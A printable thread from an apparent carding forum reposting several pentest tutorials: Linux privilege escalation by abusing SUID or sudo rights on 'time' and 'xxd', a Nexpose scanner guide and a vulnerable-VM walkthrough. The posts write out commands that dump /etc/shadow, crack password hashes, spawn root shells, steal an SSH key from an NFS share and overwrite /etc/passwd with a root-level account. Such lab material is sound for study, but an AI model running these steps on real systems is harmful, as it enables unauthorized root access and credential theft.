Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc
[Guide] Linux for Pentester: Time Privilege Escalation - Printable Version

+- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc)
+-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone)
+--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home)
+--- Thread: [Guide] Linux for Pentester: Time Privilege Escalation (/Thread-Guide-Linux-for-Pentester-Time-Privilege-Escalation)

[Guide] Linux for Pentester: Time Privilege Escalation - NINZA - 05-14-2020

In this article, we’ll talk about Time command which is a Linux utility and learn how helpful the time command is for Linux penetration testing and how we’ll progress time to scale the greater privilege shell.
Note: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.” 
Table of Contents
All About Linux Time Command
Major Operation Perform by Time
Abusing Time Utility
  • SUID Lab Setups for Privilege Escalation
  • Privilege Escalation
  • Sudo Lab Setups for Privilege Escalation
  • Privilege Escalation
All About Linux Time Command
The time command runs the specified program command with the given arguments.  When the command finishes, time writes a message to standard error giving timing statistics about this program run.
These statistics consist of:
  • the elapsed real time between invocation and termination named as real.
  • the user CPU time named as a user.
  • the system CPU time named as sys.
Time may exist in most cases as a stand-alone program (such as GNU time) or as a shell (such as sh, bash, tcsh, or zsh).
To identify all type of installed time program we run this:
type -a time
1
type -a time
Here “time is a shell keyword” which means it a built-in keyword exist to bash whereas “time is /usr/bin/time” denotes it’s a binary that exists to GNU.
[Image: 1.png?w=687&ssl=1]
Major Operation Perform by Time
One can go with “help time” or “man time” commands to explore the summary to ensure why time command is used for?
Run Command
As said above, time command computes the timing statistics for any program run (pipeline’s execution). For example: To compute the time taken by date command
For Bash: time date
For GNU: /usr/bin/time date
/usr/bin/time -p date
1
2
3
For Bash: time date
For GNU: /usr/bin/time date
/usr/bin/time -p date
As result, you will notice, first it has run the date command and dump the complete date with time zone and then disclosed the time taken by date command as real, user CPU, system CPU time in seconds. While the same information was dumped by using GNU with some extra information such as total INPUTS or OUTPUT.
Use -p options with /usr/bin/time for obtaining output into bash time.
Note: The real, user & system time will be zero for any program which would execute continuously because next time that program will be recalled from the inside cache memory of the system.
[Image: 2.png?w=687&ssl=1]
Save Output
By default, time command displays the timing statistics for the program being executed at the end of its execution in the terminal but if you want to store the obtained timing statistics inside a file then you can go with -o options.
Syntax: /usr/bin/time -o [path of destination folder] command
/usr/bin/time -o /tm/ping ping google.com
cat /tmp/ping.txt
1
2
/usr/bin/time -o /tm/ping ping google.com
cat /tmp/ping.txt
[Image: 3.png?w=687&ssl=1]
Verbose Mode
You can use -v option for verbose mode, here you can estimate the time acquired by the internal resources to produce an output of the given input.
[Image: 4.png?w=687&ssl=1]
Formatting String
The format string generally comprises of ‘ resource specifiers ‘ combined with plain text by using a percent sign (`%’) as given below.
/usr/bin/time -f “Elaspsed Time = %E, Inputs %I, Outputs %O” head -4 /etc/passwd
1
/usr/bin/time -f “Elaspsed Time = %E, Inputs %I, Outputs %O” head -4 /etc/passwd
[Image: 5.png?w=687&ssl=1]
You can use \n for a new line to print the format string as shown the given screenshot.
/usr/bin/time -f “Elaspsed Time = %E \n Inputs %I \n Outputs %O” tail -5 /etc/passwd
1
/usr/bin/time -f “Elaspsed Time = %E \n Inputs %I \n Outputs %O” tail -5 /etc/passwd
[Image: 6.png?w=687&ssl=1]
Abusing Time Utility
SUID Lab Setups for Privilege Escalation
The SUID bit permission enables the user to perform any files as the ownership of existing file member. Now we are enabling SUID permission on time so that a local user can take the opportunity of time as the root user.
Hence type following for enabling SUID bit:
which time
chmod u+s /usr/bin/time
ls -la /usr/bin/time
1
2
3
which time
chmod u+s /usr/bin/time
ls -la /usr/bin/time
[Image: 8.png?w=687&ssl=1]
Privilege Escalation
Now we will start exploiting time service by taking the privilege of SUID permission. For this, I’m creating a session of the victim’s machine which will permit us to develop the local user access of the targeted system.
Now we need to connect with the target machine with ssh, so type the command:
ssh [email protected]
1
ssh [email protected]
As we know we have access to victim’s machine so we will use find command to identify binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Here we came to recognize that SUID bit is permitted for so many binary files, but are concerned is:  /usr/bin/time.
[Image: 9.png?w=687&ssl=1]
Taking privilege of SUID permission on time we are going to grab the shadow’s file for extracting password hash file.
[Image: 10.png?w=687&ssl=1]
Now I have use john the ripper tool to crack the password hashes. By doing so we will get credential of the user as shown in below image.
john hash
1
john hash
[Image: 11.png?w=687&ssl=1]
Once we get the user’s credential then we can switch user. Here first we check sudo rights for user: raj and noticed that user “raj” has ALL privileges.
su raj
sudo -l
sudo su
1
2
3
su raj
sudo -l
sudo su
Therefore, we switch to the root user account directly and access the root shell as shown in the image. Hence, we have successfully accomplished our task of using time utility for Privilege Escalation.
[Image: 12.png?w=687&ssl=1]
Sudo rights Lab setups for Privilege Escalation
Now here our next step is to set up the lab of Sudo rights or in other words to provide Sudo privileges to a user for time executable. Here we are going to add a user by the name of the test in the sudoers files and here we have given permission to user test to run /usr/bin/time as the root user.
[Image: 13.png?w=687&ssl=1]
Privilege Escalation
Now we will connect through ssh in kali and after that, we will run sudo -l which is sudo list and through which we can see that user test has the permission to run /usr/bin/time as the root user.
sudo -l
1
sudo -l
As we have seen above, that time command computes the time when a program run, therefore, now taking advantage of time command.
sudo time /bin/sh
1
sudo time /bin/sh
[Image: 14.png?w=687&ssl=1]
Conclusion: In this post, we have talked on time command to demonstrate how an to intrude can escalate the privilege using time utility due to permissions allowed on it.

In this article, we’ll learn about Nexpose, which is used to scan a vulnerability network. There are various vulnerability scanners but the part that keeps it special is its smooth user interface and robust reporting options it offers, from the most common to the advance.
Table of Content
  • Introduction to Nexpose
  • Nexpose Virtual Appliance Installation
  • Running Vulnerability Scans
  • Generating Reports
Introduction to Nexpose
Nexpose is one of the leading vulnerability assessment tools. It operates across physical, virtual, cloud and mobile environments to discover the active services, open ports, and running applications on each machine, and it tries to identify vulnerabilities that may exist based on the attributes of the known services and applications. Though Nexpose discloses the results into scan reports, which helps to prioritize the vulnerabilities based on the risk factor and determine the most effective solution to be implemented.
Some Important Nexpose terminologies
  • Assets – A host on a network.
  • Site – A logical group of assets that has a dedicated scan engine.
  • Scan Template – A template that defines the audit level that Nexpose uses to perform a vulnerability scan.
  • Local Scan Engine – Scan Engines are responsible for performing scan jobs on your assets.
Nexpose Virtual Appliance Installation
Let’s start the Nexpose installation over our Virtual Machine. From

[To see content please register here]

we’ve downloaded the Nexpose VM. Firstly, we’ll add Nexpose in our VMware Workstation and power it ON.
As soon as it boots up, we’ll see our default login credentials – Username ( nexpose) and Password (nexpose). Furthermore, we have to set a new password according to the requirements (i.e it should be at least 14 characters long, at least one uppercase and a lowercase letter, a numeric number, and a special character.)
[Image: 1.png?w=687&ssl=1]
Afterwards, use the ifconfig command in your Nexpose to check our machine’s IP address so that we can log into the Nexpose’s web interface.
[Image: 2.png?w=687&ssl=1]
Now armed with the IP we need to set the HTTPS (i.e Hypertext Transfer Protocol over Secure Socket Layer) and the port 3780 is the Nexpose’s default port.
URL :  https://<Nexpose_IP>:3780
Though we’ll be greeted with a warning about a Security Certificate, therefore, to use Nexpose, we’ll have to get through this warning.  Click on Advanced, followed by Accept the Risk and Continue.
You will then be redirected to a login page, given the default username (nxadmin) and password (nxpassword), as shown in the image below.
[Image: 3.png?w=687&ssl=1]
Further, you’ll be asked for an activation Key, as shown in the image, provide the license key that you’ve received at your email address.
[Image: 4.png?w=687&ssl=1]
As soon as you’ve logged in and completed all the essential activations, the Nexpose Security Web Console page will activate and we’ll be able to perform any scan which we desire for, as shown:
[Image: 5..png?w=687&ssl=1]
Running Vulnerability Scans
In order to start with a new scan, go to the home page, click the Create dropdown and select Site. The Security Console will display the “Site Configuration” screen.
[Image: 6..png?w=687&ssl=1]
On the General tab, we have to give the name and describe our site, as in the above image. We can even set its importance from Very Low to Very High.
[Image: 7..png?w=687&ssl=1]
The Assets configuration page comprises of two sections: Include and Exclude.
In the Include section, we’ve provided our target IP address (i.e. 192.168.0.59) or if we want to scan the entire network, then we will have to provide the complete IP range (i.e. 192.168.0.1-254).
The section Exclude is used to exclude the IP from scanning. If we’re scanning the entire IP range and want to exclude some of the IPs from the scan, we just need to put them in the exclude assets section.
Now in the Authentication section, if we need to put any credentials, we can do that here. Basically, we conduct a credential-based scan by providing the system with a username and a password.
[Image: 8..png?w=687&ssl=1]
Afterwards, setup a particular Scan Template, as shown above, we’ve used the default Scan Template i.e. full Audit without Web Spider.
[Image: 9..png?w=687&ssl=1]
So now we have to select an engine for our scan, although we’re selecting the Local Scan Engine, as shown in the picture above.
Now since we’ve completed all the required information to setup our site for a scan. To begin scanning, Click the Save and Scan button at the upper right corner of our Nexpose console panel.
[Image: 10..png?w=687&ssl=1]
Once the scan is completed, the result clearly indicates the number of possessed vulnerabilities, the risk score, and the duration of the scan.
[Image: 11.png?w=687&ssl=1]
Now we can see all the vulnerabilities mentioned along with their Common Vulnerability Scoring System (CVSS) score from the highest to the lowest over the Vulnerabilities tab. The exciting part is that one or more of these exploits have been published throughout the Exploit database and are vulnerable to many Metasploit.
When we click on a particular vulnerability, for an instance here we’ve clicked on MySQL default account which is a critical threat, it will give us the information about the vulnerability such as its severity, whether it is password protected or not, its version, etc. as shown in the image below.
[Image: 12.png?w=687&ssl=1]
Generating Reports
Now we can generate the new records in the Reports tab by simply giving it a title, selecting the scan along with the template and the format in which we want our reports to be in.
[Image: 13.png?w=687&ssl=1]
Conclusion
This was the comprehensive guide of the usability of Nexpose a vulnerability scanner. Due to its GUI, it is user-friendly and convenient. Therefore, it has become one of the best tools as it makes its place in the corporate world with Nessus and retina.

This is another post on vulnhub CTF “named as “HAPPYCORP:1” by Zayotic. It is designed for VMware platform, and it is a boot to root challenge where you have to find flags to finish the task assigned by the author.
You can download it from here:

[To see content please register here]


Penetrating Methodologies
Scanning
  • Netdiscover
  • Nmap
Enumeration
  • NFS-Share
  • Mount share directory
  • Obtain user.txt -1st flag
  • Obtain SSH key
  • Cracked SSH passphrase (john the ripper)
Exploiting
  • Login to SSH
  • Break jail (rbash shell)
Privilege Escalation
  • Abusing SUID Binary
  • Obtain flag.txt-2nd flag
Walkthrough
Scanning
Let’s start with network scanning to identify the IP of VM with the help of netdiscover.
[Image: 1.png?w=687&ssl=1]
So, we have our target IP 192.168.1.104. Now, let’s scan the services and ports via nmap.
nmap -A 192.168.1.104
1
nmap -A 192.168.1.104
We have obtained the fruitful result from the nmap scan, as you can observe so many services are running on the various port. Such as 22: SSH, 80: HTTP and so on.
[Image: 2.png?w=687&ssl=1]
Enumeration
As we always navigate with HTTP services first, therefore we browse

[To see content please register here]

as the URL but found nothing interesting.
[Image: 3.png?w=687&ssl=1]
We found that network share service was also available on port 2049, so we thought to check shared directory in the network. We have therefore installed NFS-client on our local machine and have a command to identify the shared directory available to mount on our local computer.
showmount -e 192.168.1.104
1
showmount -e 192.168.1.104
we found /home/karl is a shared directory that we can mount in our local machine as given below:
mkdir /tmp/raj
mount 192.168.1.104:/home/karl /tmp/raj
cd /tmp/raj
ls -al
1
2
3
4
mkdir /tmp/raj
mount 192.168.1.104:/home/karl /tmp/raj
cd /tmp/raj
ls -al
As I mount /home/karl in our /tmp/raj directory but I didn’t find anything here, truthfully when I try to open .ssh directory, it gave permission denied error.
[Image: 4.png?w=687&ssl=1]
Therefore, I add a user “aaru” in the group that has GID of 1001 on my Kali machine and successfully access the .ssh folder as shown in below steps (Same as the approach was used in

[To see content please register here]

).
groupadd --gid 1001 aaru
useradd --uid 1001 --group raj aaru
1
2
groupadd --gid 1001 aaru
useradd --uid 1001 --group raj aaru
Then access our 1st flag i.e. user.txt and moreover copies the id_rsa key in our local machine by executing following command:
sudo -u aaru ls -l .ssh
sudo -u aaru cat .ssh/user.txt
sudo -u aaru cat .ssh/id_rsa
1
2
3
sudo -u aaru ls -l .ssh
sudo -u aaru cat .ssh/user.txt
sudo -u aaru cat .ssh/id_rsa
[Image: 5.png?w=687&ssl=1]
Further, I explored id _rsa.pub and authorized key where I noticed Karl@happycorp and realized that Karl could be the possible username for ssh login. Therefore, I used the id_rsa key for login into ssh as karl but failed to login into it, as it required a passphrase for the key.
[Image: 6.png?w=687&ssl=1]
Then we have used

[To see content please register here]

to convert this SSH key into a crackable file for John the ripper and further used the rockyou.txt wordlist for johntheripper.
python ssh2john key > ssh_login
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
1
2
python ssh2john key > ssh_login
john --wordlist=/usr/share/wordlists/rockyou.txt crack.txt
[Image: 12.png?w=687&ssl=1]
After obtaining the passphrase “sheep” we changed the permission of RSA key and login as karl but unfortunately, we got access of restricted shell also known rbash as a shell.
ssh -i key [email protected]
1
ssh -i key [email protected]
[Image: 13.png?w=687&ssl=1]
Therefore, I tried to access the bash shell directly through ssh by simply typing the following:
ssh -i key [email protected] -t "/bin/sh"
1
ssh -i key [email protected] -t "/bin/sh"
Luckily it works and we have successfully access the proper shell.
[Image: 14.1.png?w=687&ssl=1]
Privilege Escalation
Now it’s time to escalate the root privilege and finish this task, therefore with help of find command I look for SUID enabled binaries, where I found SUID bit, is enabled for copy binary (/bin/cp).
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Hmm!! if suid bit is enabled on /bin/cp then we can copy any system file of root level or can overwrite the existing file.  First, I have explored the /etc /passwd file where karl was end user as shown in the below image and our vision is to edit this file by adding a new user.
[Image: 14.png?w=687&ssl=1]
On other hands, we have generated a new encrypted password: pass123 using OpenSSL passwd
openssl passwd -1 -salt ignite pass123
1
openssl passwd -1 -salt ignite pass123
[Image: 15.png?w=687&ssl=1]
So, we have copied the whole content of /etc/passwd file in a text editor and then create a new record for user “ignite” that owns root level permissions. Saved this file as passwd and further used python server for transferring it into victim’s machine.
[Image: 16.png?w=687&ssl=1]
Inside /tmp folder, we have downloaded our passwd file and with the help of copy command, we have replaced the original /etc/passwd from our file as shown below.
cd /tmp
wget

[To see content please register here]

cp passwd /etc/passwd
su ignite
cd root
cat root.txt
1
2
3
4
5
6
cd /tmp
wget

[To see content please register here]

cp passwd /etc/passwd
su ignite
cd root
cat root.txt
[Image: 17.png?w=687&ssl=1]

In this article, we are going to make our readers familiar with another influential command i.e. “xxd” which assist for converting any hex dump to a binary and vice-versa. So, by knowing this certainty now we will check how wisely we can make it applicable in Privilege Escalation.
Note: “The main objective of publishing the series of “Linux for pentester” is to introduce the circumstances and any kind of hurdles that can be faced by any pentester while solving CTF challenges or OSCP labs which are based on Linux privilege escalations. Here we do not criticizing any kind of misconfiguration that a network or system administrator does for providing higher permissions on any programs/binaries/files & etc.” 
Table of Content
Introduction to xxd
  • Major Operation performed using xxd
Exploiting xxd
  • SUID Lab setups for Privilege Escalation
  • Exploiting SUID
Introduction to xxd
As we know whenever we want to convert any format of a file into another format then, we can grab that simply by using online converter which helps to convert a file into the desired format such as: “pdf to word, jpg to pdf, excel to pdf” etc. but what if someone desired to get any file into its hexadecimal form or binary??
So, in this article, I’m emphasizing the way through which one can easily get hex dump or binary format for any file. This can be achieved by one of Linux command i.e. “xxd”. The xxd command enables the user to generate a hex dump of a given file and can also reverse a hex dump back to its original ASCII form.  This phenomenon can also help in the procedure of encoding and decoding any mysterious file.
First, we will check for its help/man command to identify how we can use xxd for this conversion.
xxd -h
1
xxd -h
By typing the above command, we can achieve a list of arguments that can be used with xxd for generating hex dump of a given file.
[Image: 1.png?w=687&ssl=1]
Major Operation performed using xxd
Converts file contents into hex: For instance, I’m creating a new file by the name of “secret.txt” and now I want to convert its whole content into the hexadecimal form so, I will type the below mentioned command to execute the desired output.
Syntax: xxd <options> filename
xxd secret.txt
1
xxd secret.txt
By the below image it’s clear that xxd has generated the hex dump for the file “secret.txt”.
Here, we can observe the following hex dump are obtained its default format such as:
  • Indexing the number of lines. (eg: 00000000, 00000010, 00000020…………00000220)
  • The default number of octets per group is 2 (-e: 4 little-endian hexdump) which is groupsize of 4 bytes. (eg: 4967 6e69…………6e67)
  • The standard column length is equal to 16 bits with whitespace. (eg: Ignite is Having)
[Image: 2.png?w=687&ssl=1]
Skip the nth line with xxd: While converting a file there may be lots of data that may not be of our use so, instead of obtaining whole data we can skip those contents that are needless (skip the no. of lines). For this, we can use xxd to skip the nth line and produce hex value after skipped lines.
Suppose in our circumstance we want to generate hex dump from line 5 ahead then this can be attained by using “-s” argument followed by xxd command.
xxd -s 0x50 secret.txt
1
xxd -s 0x50 secret.txt
To limit output up to particular length: As above I have explained how one can retrieve data by skipping no. of lines i.e. output from a specific line but, if we need to limit the length of standard output then we will use “-l” argument instead of “-s”.
Here I’m limiting the length of my contents to print the data up to limited range i.e. 5th line as shown in below screenshot.
xxd -l 0x50 secret.txt
1
xxd -l 0x50 secret.txt
Hence, we can observe the difference between both commands; the first command generates the hex value initialized from the 6th line and the second command ended with the 5th line as per hex indexing, take reference from the above screenshot.
[Image: 3.png?w=687&ssl=1]
Converts file contents into binary: In above all image we have noticed that file has been dumped into its “hex form” but whenever we wish to produce the “binary form” for any file then we will use “-b” option. On using this option, the result will switch to its bit dump (binary digit) by grouping the output data into its octet using “1 or 0” rather than hex dump. To attain the same as per below image type command:
xxd -b secret.txt
1
xxd -b secret.txt
[Image: 4.png?w=687&ssl=1]
Set column length: As above I have described how we can skip and limits the output up to range. Now I will illustrate how we can set column length. By default, it used to be 12, 16 for any dumped file but now I will explain what else we can do.
For this I’m taking three occurrences:
Default: As we know the default column length is 16. This will print 16 characters including whitespace.
xxd -l 0x20 secret.txt
1
xxd -l 0x20 secret.txt
Set the column length up to 32: I have set end index to limit printing data range by using “-l” option now after doing so I will set column length up to “32” which can be achieved by using “-c” argument.
xxd -l 0x40 -c 32 secret.txt
1
xxd -l 0x40 -c 32 secret.txt
From the given below screenshot, we can easily realize how xxd has limits the column length.
Set the column length up to 9: As above, now I have set column length up to “9” by following the same process as discussed above.
xxd -l 0x40 -c 9 secret.txt
1
xxd -l 0x40 -c 9 secret.txt
In all case, xxd has created the hex dump for a file by counting each character with whitespace.
[Image: 5.png?w=687&ssl=1]
Print Plain hex dump style: The postscript option “-ps” is used only in case when we required our output in plain hex dump style. Here we have saved its output inside hex file to obtain the plain hexadecimal value of the secret.txt file. To ensure the result we have used the cat command to read output from hex file.
xxd -ps secret.txt > hex
cat hex
1
2
xxd -ps secret.txt > hex
cat hex
From the below image, it can be cleared that how xxd has created plain hex dump style for file “secret.txt” by restricting the plain text.
To revert any file: To return any generated output into its original form we can use the “-r” option. In our case we have used “-r -p” to print the reverse output from plain hex dump style into its ASCII form.
xxd -r -p hex
1
xxd -r -p hex
[Image: 6.png?w=687&ssl=1]
Groupsize bytes: If we required to group the output into a number of octets then we can use the “-g” option for this purpose. By default, it is 2 (-e: 4 little-endian hex dump). So, if we set this value to 4 then it will be grouped into 8 bits.
In below screenshot, we have set this value to 8 which will group into 16 bits as desired output to concise the result.
xxd -l 0x30 -g 8 secret.txt
1
xxd -l 0x30 -g 8 secret.txt
[Image: 7.png?w=687&ssl=1]
SUID Lab Setups for Privilege Escalation
The SUID bit permission enables the user to perform any files as the ownership of existing file member. Now we are enabling SUID permission on xxd, so that a local user can take the opportunity of xxd as the root user.
Hence type following for enabling SUID bit:
which xxd
chmod u+s /usr/bin/xxd
ls -al /usr/bin/xxd
1
2
3
which xxd
chmod u+s /usr/bin/xxd
ls -al /usr/bin/xxd

Exploiting SUID
Now we will start exploiting xxd service by taking the privilege of SUID permission. For this, I’m creating a session of the victim’s machine which will permit us to develop the local user access of the targeted system.
Now we need to connect with the target machine with ssh, so type the command:
ssh [email protected]
1
ssh [email protected]
As we know we have access to victim’s machine so we will use find command to identify binaries having SUID permission.
find / -perm -u=s -type f 2>/dev/null
1
find / -perm -u=s -type f 2>/dev/null
Here we came to recognize that SUID bit is permitted for so many binary files, but our concerned is:  /usr/bin/xxd.
[Image: 9.png?w=687&ssl=1]
Taking privilege of SUID permission on xxd we are going to grab the shadow’s file for extracting password hash file.
In the below image first, I have requested to expose the /etc/shadow file by the use of xxd which will produce the hex dump for the file along with that I have piped the xxd command to revert its output.
xxd "/etc/shadow" | xxd -r
1
xxd "/etc/shadow" | xxd -r
[Image: 10.png?w=687&ssl=1]
Now I have use john the ripper tool to crack the password hashes. By doing so we will get credential of the user as shown in below image.
john hash
1
john hash
[Image: 11.png?w=687&ssl=1]
Once we get the user’s credential then we can switch user. Here first we check sudo rights for user: raj and noticed that user “raj” has ALL privileges.
su raj
sudo -l
sudo su
1
2
3
su raj
sudo -l
sudo su
Therefore, we switch to the root user account directly and access the root shell as shown in the image. Hence, we have successfully accomplished our task of using xxd command for Privilege Escalation.
[Image: 12.png?w=687&ssl=1]